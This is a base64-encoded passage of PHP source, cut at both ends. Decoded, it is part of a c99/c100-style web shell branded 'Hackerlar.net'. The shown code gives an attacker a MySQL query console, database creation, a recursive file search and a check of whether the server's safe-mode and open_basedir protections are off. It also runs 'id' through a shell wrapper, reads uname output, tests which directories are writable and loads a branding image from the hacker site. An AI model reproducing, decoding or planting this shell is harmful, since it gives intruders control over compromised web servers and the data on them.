QoJHJlc3VsdCk7CiByZXR1cm4gJGFycmF5Owp9Cn0KaWYgKCFmdW5jdGlvbl9leGlzdHMoIm15c3FsX3NtYXJ0ZXJyb3IiKSkKewpmdW5jdGlvbiBteXNxbF9zbWFydGVycm9yKCR0eXBlLCRzb2NrKQp7CiBpZiAoJHNvY2spIHskZXJyb3IgPSBteXNxbF9lcnJvcigkc29jayk7fQogZWxzZSB7JGVycm9yID0gbXlzcWxfZXJyb3IoKTt9CiAkZXJyb3IgPSBodG1sc3BlY2lhbGNoYXJzKCRlcnJvcik7CiByZXR1cm4gJGVycm9yOwp9Cn0KaWYgKCFmdW5jdGlvbl9leGlzdHMoIm15c3FsX3F1ZXJ5X2Zvcm0iKSkKewpmdW5jdGlvbiBteXNxbF9xdWVyeV9mb3JtKCkKewogZ2xvYmFsICRzdWJtaXQsJHNxbF9hY3QsJHNxbF9xdWVyeSwkc3FsX3F1ZXJ5X3Jlc3VsdCwkc3FsX2NvbmZpcm0sJHNxbF9xdWVyeV9lcnJvciwkdGJsX3N0cnVjdDsKIGlmICgoJHN1Ym1pdCkgYW5kICghJHNxbF9xdWVyeV9yZXN1bHQpIGFuZCAoJHNxbF9jb25maXJtKSkge2lmICghJHNxbF9xdWVyeV9lcnJvcikgeyRzcWxfcXVlcnlfZXJyb3IgPSAiUXVlcnkgd2FzIGVtcHR5Ijt9IGVjaG8gIjxiPkVycm9yOjwvYj4gPGJyPiIuJHNxbF9xdWVyeV9lcnJvci4iPGJyPiI7fQogaWYgKCRzcWxfcXVlcnlfcmVzdWx0IG9yICghJHNxbF9jb25maXJtKSkgeyRzcWxfYWN0ID0gJHNxbF9nb3RvO30KIGlmICgoISRzdWJtaXQpIG9yICgkc3FsX2FjdCkpCiB7CiAgZWNobyAiPHRhYmxlIGJvcmRlcj0wPjx0cj48dGQ+PGZvcm0gbmFtZT1cImsxcjRfc3FscXVlcnlcIiBtZXRob2Q9UE9TVD48Yj4iOyBpZiAoKCRzcWxfcXVlcnkpIGFuZCAoISRzdWJtaXQpKSB7ZWNobyAiRG8geW91IHJlYWxseSB3YW50IHRvIjt9IGVsc2Uge2VjaG8gIlNRTC1RdWVyeSI7fSBlY2hvICI6PC9iPjxicj48YnI+PHRleHRhcmVhIG5hbWU9c3FsX3F1ZXJ5IGNvbHM9MTAwIHJvd3M9MTA+Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcXVlcnkpLiI8L3RleHRhcmVhPjxicj48YnI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0IHZhbHVlPXNxbD48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1zcWxfYWN0IHZhbHVlPXF1ZXJ5PjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXNxbF90YmwgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF90YmwpLiJcIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1zdWJtaXQgdmFsdWU9XCIxXCI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9XCJzcWxfZ290b1wiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfZ290bykuIlwiPjxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPXNxbF9jb25maXJtIHZhbHVlPVwiWWVzXCI+Jm5ic3A7PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPVwiTm9cIj48L2Zvcm0+PC90ZD4iOwogIGlmICgkdGJsX3N0cnVjdCkKICB7CiAgIGVjaG8gIjx0ZCB2YWxpZ249XCJ0b3BcIj48Yj5GaWVsZHM6PC9iPjxicj4iOwogICBmb3JlYWNoICgkdGJsX3N0cnVjdCBhcyAkZmllbGQpIHskbmFtZSA9ICRmaWVsZFsiRmllbGQiXTsgZWNobyAiJiMxODc7IDxhIGhyZWY9XCIjXCIgb25jbGljaz1cImRvY3VtZW50LmsxcjRfc3FscXVlcnkuc3FsX3F1ZXJ5LnZhbHVlKz0nYCIuJG5hbWUuImAnO1wiPjxiPiIuJG5hbWUuIjwvYj48L2E+PGJyPiI7fQogICBlY2hvICI8L3RkPjwvdHI+PC90YWJsZT4iOwogIH0KIH0KIGlmICgkc3FsX3F1ZXJ5X3Jlc3VsdCBvciAoISRzcWxfY29uZmlybSkpIHskc3FsX3F1ZXJ5ID0gJHNxbF9sYXN0X3F1ZXJ5O30KfQp9CmlmICghZnVuY3Rpb25fZXhpc3RzKCJteXNxbF9jcmVhdGVfZGIiKSkKewpmdW5jdGlvbiBteXNxbF9jcmVhdGVfZGIoJGRiLCRzb2NrPSIiKQp7CiAkc3FsID0gIkNSRUFURSBEQVRBQkFTRSBgIi5hZGRzbGFzaGVzKCRkYikuImA7IjsKIGlmICgkc29jaykge3JldHVybiBteXNxbF9xdWVyeSgkc3FsLCRzb2NrKTt9CiBlbHNlIHtyZXR1cm4gbXlzcWxfcXVlcnkoJHNxbCk7fQp9Cn0KaWYgKCFmdW5jdGlvbl9leGlzdHMoIm15c3FsX3F1ZXJ5X3BhcnNlIikpCnsKZnVuY3Rpb24gbXlzcWxfcXVlcnlfcGFyc2UoJHF1ZXJ5KQp7CiAkcXVlcnkgPSB0cmltKCRxdWVyeSk7CiAkYXJyID0gZXhwbG9kZSAoIiAiLCRxdWVyeSk7CiAvKmFycmF5IGFycmF5KCkKIHsKICAiTUVUSE9EIj0+YXJyYXkob3V0cHV0X3R5cGUpLAogICJNRVRIT0QxIi4uLgogIC4uLgogfQogaWYgb3V0cHV0X3R5cGUgPT0gMCwgbm8gb3V0cHV0LAogaWYgb3V0cHV0X3R5cGUgPT0gMSwgbm8gb3V0cHV0IGlmIG5vIGVycm9yCiBpZiBvdXRwdXRfdHlwZSA9PSAyLCBvdXRwdXQgd2l0aG91dCBjb250cm9sLWJ1dHRvbnMKIGlmIG91dHB1dF90eXBlID09IDMsIG91dHB1dCB3aXRoIGNvbnRyb2wtYnV0dG9ucwogKi8KICR0eXBlcyA9IGFycmF5KAogICJTRUxFQ1QiPT5hcnJheSgzLDEpLAogICJTSE9XIj0+YXJyYXkoMiwxKSwKICAiREVMRVRFIj0+YXJyYXkoMSksCiAgIkRST1AiPT5hcnJheSgxKQogKTsKICRyZXN1bHQgPSBhcnJheSgpOwogJG9wID0gc3RydG91cHBlcigkYXJyWzBdKTsKIGlmIChpc19hcnJheSgkdHlwZXNbJG9wXSkpCiB7CiAgJHJlc3VsdFsicHJvcGVydGlvbnMiXSA9ICR0eXBlc1skb3BdOwogICRyZXN1bHRbInF1ZXJ5Il0gID0gJHF1ZXJ5OwogIGlmICgkdHlwZXNbJG9wXSA9PSAyKQogIHsKICAgZm9yZWFjaCgkYXJyIGFzICRrPT4kdikKICAgewogICAgaWYgKHN0cnRvdXBwZXIoJHYpID09ICJMSU1JVCIpCiAgICB7CiAgICAgJHJlc3VsdFsibGltaXQiXSA9ICRhcnJbJGsrMV07CiAgICAgJHJlc3VsdFsibGltaXQiXSA9IGV4cGxvZGUoIiwiLCRyZXN1bHRbImxpbWl0Il0pOwogICAgIGlmIChjb3VudCgkcmVzdWx0WyJsaW1pdCJdKSA9PSAxKSB7JHJlc3VsdFsibGltaXQiXSA9IGFycmF5KDAsJHJlc3VsdFsibGltaXQiXVswXSk7fQogICAgIHVuc2V0KCRhcnJbJGtdLCRhcnJbJGsrMV0pOwogICAgfQogICB9CiAgfQogfQogZWxzZSB7cmV0dXJuIEZBTFNFO30KfQp9CmlmICghZnVuY3Rpb25fZXhpc3RzKCJrMXI0ZnNlYXJjaCIpKQp7CmZ1bmN0aW9uIGsxcjRmc2VhcmNoKCRkKQp7CiBnbG9iYWwgJGZvdW5kOwogZ2xvYmFsICRmb3VuZF9kOwogZ2xvYmFsICRmb3VuZF9mOwogZ2xvYmFsICRzZWFyY2hfaV9mOwogZ2xvYmFsICRzZWFyY2hfaV9kOwogZ2xvYmFsICRhOwogaWYgKHN1YnN0cigkZCwtMSkgIT0gRElSRUNUT1JZX1NFUEFSQVRPUikgeyRkIC49IERJUkVDVE9SWV9TRVBBUkFUT1I7fQogJGggPSBvcGVuZGlyKCRkKTsKIHdoaWxlICgoJGYgPSByZWFkZGlyKCRoKSkgIT09IEZBTFNFKQogewogIGlmKCRmICE9ICIuIiAmJiAkZiAhPSAiLi4iKQogIHsKICAgJGJvb2wgPSAoZW1wdHkoJGFbIm5hbWVfcmVnZXhwIl0pIGFuZCBzdHJwb3MoJGYsJGFbIm5hbWUiXSkgIT09IEZBTFNFKSB8fCAoJGFbIm5hbWVfcmVnZXhwIl0gYW5kIGVyZWcoJGFbIm5hbWUiXSwkZikpOwogICBpZiAoaXNfZGlyKCRkLiRmKSkKICAgewogICAgJHNlYXJjaF9pX2QrKzsKICAgIGlmIChlbXB0eSgkYVsidGV4dCJdKSBhbmQgJGJvb2wpIHskZm91bmRbXSA9ICRkLiRmOyAkZm91bmRfZCsrO30KICAgIGlmICghaXNfbGluaygkZC4kZikpIHtrMXI0ZnNlYXJjaCgkZC4kZik7fQogICB9CiAgIGVsc2UKICAgewogICAgJHNlYXJjaF9pX2YrKzsKICAgIGlmICgkYm9vbCkKICAgIHsKICAgICBpZiAoIWVtcHR5KCRhWyJ0ZXh0Il0pKQogICAgIHsKICAgICAgJHIgPSBAZmlsZV9nZXRfY29udGVudHMoJGQuJGYpOwogICAgICBpZiAoJGFbInRleHRfd3dvIl0pIHskYVsidGV4dCJdID0gIiAiLnRyaW0oJGFbInRleHQiXSkuIiAiO30KICAgICAgaWYgKCEkYVsidGV4dF9jcyJdKSB7JGFbInRleHQiXSA9IHN0cnRvbG93ZXIoJGFbInRleHQiXSk7ICRyID0gc3RydG9sb3dlcigkcik7fQogICAgICBpZiAoJGFbInRleHRfcmVnZXhwIl0pIHskYm9vbCA9IGVyZWcoJGFbInRleHQiXSwkcik7fQogICAgICBlbHNlIHskYm9vbCA9IHN0cnBvcygiICIuJHIsJGFbInRleHQiXSwxKTt9CiAgICAgIGlmICgkYVsidGV4dF9ub3QiXSkgeyRib29sID0gISRib29sO30KICAgICAgaWYgKCRib29sKSB7JGZvdW5kW10gPSAkZC4kZjsgJGZvdW5kX2YrKzt9CiAgICAgfQogICAgIGVsc2UgeyRmb3VuZFtdID0gJGQuJGY7ICRmb3VuZF9mKys7fQogICAgfQogICB9CiAgfQogfQogY2xvc2VkaXIoJGgpOwp9Cn0KaWYgKCRhY3QgPT0gImdvZmlsZSIpIHtpZiAoaXNfZGlyKCRmKSkgeyRhY3QgPSAibHMiOyAkZCA9ICRmO30gZWxzZSB7JGFjdCA9ICJmIjsgJGQgPSBkaXJuYW1lKCRmKTsgJGYgPSBiYXNlbmFtZSgkZik7fX0KLy9TZW5kaW5nIGhlYWRlcnMKQG9iX3N0YXJ0KCk7CkBvYl9pbXBsaWNpdF9mbHVzaCgwKTsKZnVuY3Rpb24gb25waHBzaHV0ZG93bigpCnsKIGdsb2JhbCAkZ3ppcGVuY29kZSwkZnQ7CiBpZiAoIWhlYWRlcnNfc2VudCgpIGFuZCAkZ3ppcGVuY29kZSBhbmQgIWluX2FycmF5KCRmdCxhcnJheSgiaW1nIiwiZG93bmxvYWQiLCJub3RlcGFkIikpKQogewogICR2ID0gQG9iX2dldF9jb250ZW50cygpOwogIEBvYl9lbmRfY2xlYW4oKTsKICBAb2Jfc3RhcnQoIm9iX2d6SGFuZGxlciIpOwogIGVjaG8gJHY7CiAgQG9iX2VuZF9mbHVzaCgpOwogfQp9CmZ1bmN0aW9uIGsxcjRleGl0KCkKewogb25waHBzaHV0ZG93bigpOwogZXhpdDsKfQpoZWFkZXIoIkV4cGlyZXM6IE1vbiwgMjYgSnVsIDE5OTcgMDU6MDA6MDAgR01UIik7CmhlYWRlcigiTGFzdC1Nb2RpZmllZDogIi5nbWRhdGUoIkQsIGQgTSBZIEg6aTpzIikuIiBHTVQiKTsKaGVhZGVyKCJDYWNoZS1Db250cm9sOiBuby1zdG9yZSwgbm8tY2FjaGUsIG11c3QtcmV2YWxpZGF0ZSIpOwpoZWFkZXIoIkNhY2hlLUNvbnRyb2w6IHBvc3QtY2hlY2s9MCwgcHJlLWNoZWNrPTAiLCBGQUxTRSk7CmhlYWRlcigiUHJhZ21hOiBuby1jYWNoZSIpOwppZiAoZW1wdHkoJHRtcGRpcikpCnsKICR0bXBkaXIgPSBpbmlfZ2V0KCJ1cGxvYWRfdG1wX2RpciIpOwogaWYgKGlzX2RpcigkdG1wZGlyKSkgeyR0bXBkaXIgPSAiL3RtcC8iO30KfQokdG1wZGlyID0gcmVhbHBhdGgoJHRtcGRpcik7CiR0bXBkaXIgPSBzdHJfcmVwbGFjZSgiXFwiLERJUkVDVE9SWV9TRVBBUkFUT1IsJHRtcGRpcik7CmlmIChzdWJzdHIoJHRtcGRpciwtMSkgIT0gRElSRUNUT1JZX1NFUEFSQVRPUikgeyR0bXBkaXIgLj0gRElSRUNUT1JZX1NFUEFSQVRPUjt9CmlmIChlbXB0eSgkdG1wZGlyX2xvZ3MpKSB7JHRtcGRpcl9sb2dzID0gJHRtcGRpcjt9CmVsc2UgeyR0bXBkaXJfbG9ncyA9IHJlYWxwYXRoKCR0bXBkaXJfbG9ncyk7fQppZiAoQGluaV9nZXQoInNhZmVfbW9kZSIpIG9yIHN0cnRvbG93ZXIoQGluaV9nZXQoInNhZmVfbW9kZSIpKSA9PSAib24iKQp7CiAkc2FmZW1vZGUgPSBUUlVFOwogJGhzYWZlbW9kZSA9ICI8Zm9udCBjb2xvcj1yZWQ+T04gKHNlY3VyZSk8L2ZvbnQ+IjsKfQplbHNlIHskc2FmZW1vZGUgPSBGQUxTRTsgJGhzYWZlbW9kZSA9ICI8Zm9udCBjb2xvcj1ncmVlbj5PRkYgKG5vIHNlY3VyZSk8L2ZvbnQ+Ijt9CiR2ID0gQGluaV9nZXQoIm9wZW5fYmFzZWRpciIpOwppZiAoJHYgb3Igc3RydG9sb3dlcigkdikgPT0gIm9uIikgeyRvcGVuYmFzZWRpciA9IFRSVUU7ICRob3BlbmJhc2VkaXIgPSAiPGZvbnQgY29sb3I9cmVkPiIuJHYuIjwvZm9udD4iO30KZWxzZSB7JG9wZW5iYXNlZGlyID0gRkFMU0U7ICRob3BlbmJhc2VkaXIgPSAiPGZvbnQgY29sb3I9Z3JlZW4+T0ZGIChub3Qgc2VjdXJlKTwvZm9udD4iO30KJHNvcnQgPSBodG1sc3BlY2lhbGNoYXJzKCRzb3J0KTsKaWYgKGVtcHR5KCRzb3J0KSkgeyRzb3J0ID0gJHNvcnRfZGVmYXVsdDt9CiRzb3J0WzFdID0gc3RydG9sb3dlcigkc29ydFsxXSk7CiRESVNQX1NFUlZFUl9TT0ZUV0FSRSA9IGdldGVudigiU0VSVkVSX1NPRlRXQVJFIik7CmlmICghZXJlZygiUEhQLyIucGhwdmVyc2lvbigpLCRESVNQX1NFUlZFUl9TT0ZUV0FSRSkpIHskRElTUF9TRVJWRVJfU09GVFdBUkUgLj0gIi4gUEhQLyIucGhwdmVyc2lvbigpO30KJERJU1BfU0VSVkVSX1NPRlRXQVJFID0gc3RyX3JlcGxhY2UoIlBIUC8iLnBocHZlcnNpb24oKSwiPGEgaHJlZj1cIiIuJHN1cmwuImFjdD1waHBpbmZvXCIgdGFyZ2V0PVwiX2JsYW5rXCI+PGI+PHU+UEhQLyIucGhwdmVyc2lvbigpLiI8L3U+PC9iPjwvYT4iLGh0bWxzcGVjaWFsY2hhcnMoJERJU1BfU0VSVkVSX1NPRlRXQVJFKSk7CkBpbmlfc2V0KCJoaWdobGlnaHQuYmciLCRoaWdobGlnaHRfYmcpOyAvL0ZGRkZGRgpAaW5pX3NldCgiaGlnaGxpZ2h0LmNvbW1lbnQiLCRoaWdobGlnaHRfY29tbWVudCk7IC8vI0ZGODAwMApAaW5pX3NldCgiaGlnaGxpZ2h0LmRlZmF1bHQiLCRoaWdobGlnaHRfZGVmYXVsdCk7IC8vIzAwMDBCQgpAaW5pX3NldCgiaGlnaGxpZ2h0Lmh0bWwiLCRoaWdobGlnaHRfaHRtbCk7IC8vIzAwMDAwMApAaW5pX3NldCgiaGlnaGxpZ2h0LmtleXdvcmQiLCRoaWdobGlnaHRfa2V5d29yZCk7IC8vIzAwNzcwMApAaW5pX3NldCgiaGlnaGxpZ2h0LnN0cmluZyIsJGhpZ2hsaWdodF9zdHJpbmcpOyAvLyNERDAwMDAKaWYgKCFpc19hcnJheSgkYWN0Ym94KSkgeyRhY3Rib3ggPSBhcnJheSgpO30KJGRzcGFjdCA9ICRhY3QgPSBodG1sc3BlY2lhbGNoYXJzKCRhY3QpOwokZGlzcF9mdWxscGF0aCA9ICRsc19hcnIgPSAkbm90bHMgPSBudWxsOwokdWQgPSB1cmxlbmNvZGUoJGQpOwo/PjxodG1sPjxoZWFkPjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PXdpbmRvd3MtMTI1MSI+PG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1MYW5ndWFnZSIgY29udGVudD0iZW4tdXMiPjx0aXRsZT48P3BocCBlY2hvIGdldGVudigiSFRUUF9IT1NUIik7ID8+IC0gSGFja2VybGFyLm5ldDwvdGl0bGU+PFNUWUxFPgpURCB7IEZPTlQtU0laRTogOHB0OyBDT0xPUjogIzAwOTkwMDsgRk9OVC1GQU1JTFk6IHZlcmRhbmE7fUJPRFkgeyBzY3JvbGxiYXItZmFjZS1jb2xvcjogIzgwMDAwMDsgc2Nyb2xsYmFyLXNoYWRvdy1jb2xvcjogIzEwMTAxMDsgc2Nyb2xsYmFyLWhpZ2hsaWdodC1jb2xvcjogIzEwMTAxMDsgc2Nyb2xsYmFyLTNkbGlnaHQtY29sb3I6ICMxMDEwMTA7IHNjcm9sbGJhci1kYXJrc2hhZG93LWNvbG9yOiAjMTAxMDEwOyBzY3JvbGxiYXItdHJhY2stY29sb3I6ICMxMDEwMTA7IHNjcm9sbGJhci1hcnJvdy1jb2xvcjogIzEwMTAxMDsgZm9udC1mYW1pbHk6IFZlcmRhbmE7fVRELmhlYWRlciB7IEZPTlQtV0VJR0hUOiBub3JtYWw7IEZPTlQtU0laRTogMTBwdDsgQkFDS0dST1VORDogIzdkNzQ3NDsgQ09MT1I6IHdoaXRlOyBGT05ULUZBTUlMWTogdmVyZGFuYTt9QSB7IEZPTlQtV0VJR0hUOiBub3JtYWw7IENPTE9SOiAjMDA5OUNDOyBGT05ULUZBTUlMWTogVGFob21hOyBURVhULURFQ09SQVRJT046IG5vbmU7fUE6dW5rbm93biB7IEZPTlQtV0VJR0hUOiBub3JtYWw7IENPTE9SOiAjZmZmZmZmOyBGT05ULUZBTUlMWTogdmVyZGFuYTsgVEVYVC1ERUNPUkFUSU9OOiBub25lO31BLkxpbmtzIHsgQ09MT1I6ICNmZmZmZmY7IFRFWFQtREVDT1JBVElPTjogbm9uZTt9QS5MaW5rczp1bmtub3duIHsgRk9OVC1XRUlHSFQ6IG5vcm1hbDsgQ09MT1I6ICNmZmZmZmY7IFRFWFQtREVDT1JBVElPTjogbm9uZTt9QTpob3ZlciB7IENPTE9SOiAjZmZmZmZmOyBURVhULURFQ09SQVRJT046IHVuZGVybGluZTt9LnNraW4we3Bvc2l0aW9uOmFic29sdXRlOyB3aWR0aDoyMDBweDsgYm9yZGVyOjJweCBzb2xpZCBibGFjazsgYmFja2dyb3VuZC1jb2xvcjptZW51OyBmb250LWZhbWlseTpWZXJkYW5hOyBsaW5lLWhlaWdodDoyMHB4OyBjdXJzb3I6ZGVmYXVsdDsgdmlzaWJpbGl0eTpoaWRkZW47O30uc2tpbjF7Y3Vyc29yOiBkZWZhdWx0OyBmb250OiBtZW51dGV4dDsgcG9zaXRpb246IGFic29sdXRlOyB3aWR0aDogMTQ1cHg7IGJhY2tncm91bmQtY29sb3I6IG1lbnU7IGJvcmRlcjogMSBzb2xpZCBidXR0b25mYWNlO3Zpc2liaWxpdHk6aGlkZGVuOyBib3JkZXI6IDIgb3V0c2V0IGJ1dHRvbmhpZ2hsaWdodDsgZm9udC1mYW1pbHk6IFZlcmRhbmEsR2VuZXZhLCBBcmlhbDsgZm9udC1zaXplOiAxMHB4OyBjb2xvcjogYmxhY2s7fS5tZW51aXRlbXN7cGFkZGluZy1sZWZ0OjE1cHg7IHBhZGRpbmctcmlnaHQ6MTBweDs7fWlucHV0e2JhY2tncm91bmQtY29sb3I6ICMwMDAwOTk7IGZvbnQtc2l6ZTogOHB0OyBjb2xvcjogI0ZGRkZGRjsgZm9udC1mYW1pbHk6IFRhaG9tYTsgYm9yZGVyOiAxIHNvbGlkICM2NjY2NjY7fXRleHRhcmVhe2JhY2tncm91bmQtY29sb3I6ICMwMDAwOTk7IGZvbnQtc2l6ZTogOHB0OyBjb2xvcjogI0ZGRkZGRjsgZm9udC1mYW1pbHk6IFRhaG9tYTsgYm9yZGVyOiAxIHNvbGlkICM2NjY2NjY7fWJ1dHRvbntiYWNrZ3JvdW5kLWNvbG9yOiAjMDAwMDY2OyBmb250LXNpemU6IDhwdDsgY29sb3I6ICNGRkZGRkY7IGZvbnQtZmFtaWx5OiBUYWhvbWE7IGJvcmRlcjogMSBzb2xpZCAjNjY2NjY2O31zZWxlY3R7YmFja2dyb3VuZC1jb2xvcjogIzAwMDA2NjsgZm9udC1zaXplOiA4cHQ7IGNvbG9yOiAjRkZGRkZGOyBmb250LWZhbWlseTogVGFob21hOyBib3JkZXI6IDEgc29saWQgIzY2NjY2Njt9b3B0aW9uIHtiYWNrZ3JvdW5kLWNvbG9yOiAjMDAwMDY2OyBmb250LXNpemU6IDhwdDsgY29sb3I6ICNGRkZGRkY7IGZvbnQtZmFtaWx5OiBUYWhvbWE7IGJvcmRlcjogMSBzb2xpZCAjNjY2NjY2O31pZnJhbWUge2JhY2tncm91bmQtY29sb3I6ICMwMDAwNjY7IGZvbnQtc2l6ZTogOHB0OyBjb2xvcjogI0ZGRkZGRjsgZm9udC1mYW1pbHk6IFRhaG9tYTsgYm9yZGVyOiAxIHNvbGlkICM2NjY2NjY7fXAge01BUkdJTi1UT1A6IDBweDsgTUFSR0lOLUJPVFRPTTogMHB4OyBMSU5FLUhFSUdIVDogMTUwJX1ibG9ja3F1b3RleyBmb250LXNpemU6IDhwdDsgZm9udC1mYW1pbHk6IENvdXJpZXIsIEZpeGVkLCBBcmlhbDsgYm9yZGVyIDogOHB4IHNvbGlkICNBOUE5QTk7IHBhZGRpbmc6IDFlbTsgbWFyZ2luLXRvcDogMWVtOyBtYXJnaW4tYm90dG9tOiA1ZW07IG1hcmdpbi1yaWdodDogM2VtOyBtYXJnaW4tbGVmdDogNGVtOyBiYWNrZ3JvdW5kLWNvbG9yOiAjMDAwMDAwO31ib2R5LHRkLHRoIHsgZm9udC1mYW1pbHk6IHZlcmRhbmE7IGNvbG9yOiAjQ0NDQ0NDOyBmb250LXNpemU6IDExcHg7fWJvZHkgeyBiYWNrZ3JvdW5kLWNvbG9yOiAjMDAwMDAwO30KPC9zdHlsZT48L2hlYWQ+PEJPRFkgdGV4dD0jZmZmZmZmIGJvdHRvbU1hcmdpbj0wIGJnQ29sb3I9IzAwMDAwMCBsZWZ0TWFyZ2luPTAgdG9wTWFyZ2luPTAgcmlnaHRNYXJnaW49MCBtYXJnaW5oZWlnaHQ9MCBtYXJnaW53aWR0aD0wPjxjZW50ZXI+PFRBQkxFIHN0eWxlPSJCT1JERVItQ09MTEFQU0U6IGNvbGxhcHNlIiBoZWlnaHQ9MSBjZWxsU3BhY2luZz0wIGJvcmRlckNvbG9yRGFyaz0jNjY2NjY2IGNlbGxQYWRkaW5nPTUgd2lkdGg9IjEwMCUiIGJnQ29sb3I9IzAwMDAwMCBib3JkZXJDb2xvckxpZ2h0PSNjMGMwYzAgYm9yZGVyPTEgYm9yZGVyY29sb3I9IiNDMEMwQzAiPjx0cj48dGggd2lkdGg9IjEwMSUiIGhlaWdodD0iMTUiIG5vd3JhcCBib3JkZXJjb2xvcj0iI0MwQzBDMCIgdmFsaWduPSJ0b3AiIGNvbHNwYW49IjIiPjxwPjxmb250IGZhY2U9V2ViZGluZ3Mgc2l6ZT02PjxiPiE8L2I+PC9mb250PjxhIGhyZWY9Ijw/cGhwIGVjaG8gJHN1cmw7ID8+Ij48Zm9udCBmYWNlPSJWZXJkYW5hIiBzaXplPSI1Ij48Yj5jMTAwIDw/cGhwIGVjaG8gJHNodmVyOyA/PjwvYj48L2ZvbnQ+PC9hPjxmb250IGZhY2U9V2ViZGluZ3Mgc2l6ZT02PjxiPiE8L2I+PC9mb250PjwvcD48L2NlbnRlcj48L3RoPjwvdHI+PHRyPjx0ZD48cCBhbGlnbj0ibGVmdCI+PGI+U29mdHdhcmU6Jm5ic3A7PD9waHAgZWNobyAkRElTUF9TRVJWRVJfU09GVFdBUkU7ID8+PC9iPiZuYnNwOzwvcD48cCBhbGlnbj0ibGVmdCI+PGI+dW5hbWUgLWE6Jm5ic3A7PD9waHAgZWNobyB3b3Jkd3JhcChwaHBfdW5hbWUoKSw5MCwiPGJyPiIsMSk7ID8+PC9iPiZuYnNwOzwvcD48cCBhbGlnbj0ibGVmdCI+PGI+PD9waHAgaWYgKCEkd2luKSB7ZWNobyB3b3Jkd3JhcChteXNoZWxsZXhlYygiaWQiKSw5MCwiPGJyPiIsMSk7fSBlbHNlIHtlY2hvIGdldF9jdXJyZW50X3VzZXIoKTt9IGVjaG8gYmFzZTY0X2RlY29kZSgnUEdsdFp5QnpjbU05SW1oMGRIQTZMeTkzZDNjdWFHRmphMlZ5YkdGeUxtNWxkQzlqYjNCNWNtbG5hSFF1YW5CbklqND0nKTs/PjwvYj4mbmJzcDs8L3A+PHAgYWxpZ249ImxlZnQiPjxiPlNhZmUtbW9kZTombmJzcDs8P3BocCBlY2hvICRoc2FmZW1vZGU7ID8+PC9iPjwvcD48cCBhbGlnbj0ibGVmdCI+PD9waHAKJGQgPSBzdHJfcmVwbGFjZSgiXFwiLERJUkVDVE9SWV9TRVBBUkFUT1IsJGQpOwppZiAoZW1wdHkoJGQpKSB7JGQgPSByZWFscGF0aCgiLiIpO30gZWxzZWlmKHJlYWxwYXRoKCRkKSkgeyRkID0gcmVhbHBhdGgoJGQpO30KJGQgPSBzdHJfcmVwbGFjZSgiXFwiLERJUkVDVE9SWV9TRVBBUkFUT1IsJGQpOwppZiAoc3Vic3RyKCRkLC0xKSAhPSBESVJFQ1RPUllfU0VQQVJBVE9SKSB7JGQgLj0gRElSRUNUT1JZX1NFUEFSQVRPUjt9CiRkID0gc3RyX3JlcGxhY2UoIlxcXFwiLCJcXCIsJGQpOwokZGlzcGQgPSBodG1sc3BlY2lhbGNoYXJzKCRkKTsKJHBkID0gJGUgPSBleHBsb2RlKERJUkVDVE9SWV9TRVBBUkFUT1Isc3Vic3RyKCRkLDAsLTEpKTsKJGkgPSAwOwpmb3JlYWNoKCRwZCBhcyAkYikKewogJHQgPSAiIjsKICRqID0gMDsKIGZvcmVhY2ggKCRlIGFzICRyKQogewogICR0Lj0gJHIuRElSRUNUT1JZX1NFUEFSQVRPUjsKICBpZiAoJGogPT0gJGkpIHticmVhazt9CiAgJGorKzsKIH0KIGVjaG8gIjxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9bHMmZD0iLnVybGVuY29kZSgkdCkuIiZzb3J0PSIuJHNvcnQuIlwiPjxiPiIuaHRtbHNwZWNpYWxjaGFycygkYikuRElSRUNUT1JZX1NFUEFSQVRPUi4iPC9iPjwvYT4iOwogJGkrKzsKfQplY2hvICImbmJzcDsmbmJzcDsmbmJzcDsiOwppZiAoaXNfd3JpdGFibGUoJGQpKQp7CiAkd2QgPSBUUlVFOwogJHdkdCA9ICI8Zm9udCBjb2xvcj1ncmVlbj5bIG9rIF08L2ZvbnQ+IjsKIGVjaG8gIjxiPjxmb250IGNvbG9yPWdyZWVuPiIudmlld19wZXJtcyhmaWxlcGVybXMoJGQpKS4iPC9mb250PjwvYj4iOwp9CmVsc2UKewogJHdkID0gRkFMU0U7CiAkd2R0ID0gIjxmb250IGNvbG9yPXJlZD5bIFJlYWQtT25seSBdPC9mb250PiI7CiBlY2hvICI8Yj4iLnZpZXdfcGVybXNfY29sb3IoJGQpLiI8L2I+IjsKfQppZiAoaXNfY2FsbGFibGUoImRpc2tfZnJlZV9zcGFjZSIpKQp7CiAkZnJlZSA9IGRpc2tfZnJlZV9zcGFjZSgkZCk7CiAkdG90YWwgPSBkaXNrX3RvdGFsX3NwYWNlKCRkKTsKIGlmICgkZnJlZSA9PT0gRkFMU0UpIHskZnJlZSA9IDA7fQogaWYgKCR0b3RhbCA9PT0gRkFMU0UpIHskdG90YWwgPSAwO30KIGlmICgkZnJlZSA8IDApIHskZnJlZSA9IDA7fQogaWYgKCR0b3RhbCA8IDApIHskdG90YWwgPSAwO30KICR1c2VkID0gJHRvdGFsLSRmcmVlOwogJGZyZWVfcGVyY2VudCA9IHJvdW5kKDEwMC8oJHRvdGFsLyRmcmVlKSwyKTsKIGVjaG8gIjxicj48Yj5GcmVlICIudmlld19zaXplKCRmcmVlKS4iIG9mICIudmlld19zaXplKCR0b3RhbCkuIiAoIi4kZnJlZV9wZXJjZW50LiIlKTwvYj4iOwp9CmVjaG8gIjxicj4iOwokbGV0dGVycyA9ICIiOwppZiAoJHdpbikKewogJHYgPSBleHBsb2RlKCJcXCIsJGQpOwogJHYgPSAkdlswXTsKIGZvcmVhY2ggKHJhbmdlKCJhIiwieiIpIGFzICRsZXR0ZXIpCiB7CiAgJGJvb2wgPSAkaXNkaXNrZXR0ZSA9IGluX2FycmF5KCRsZXR0ZXIsJHNhZmVtb2RlX2Rpc2tldHRlcyk7CiAgaWYgKCEkYm9vbCkgey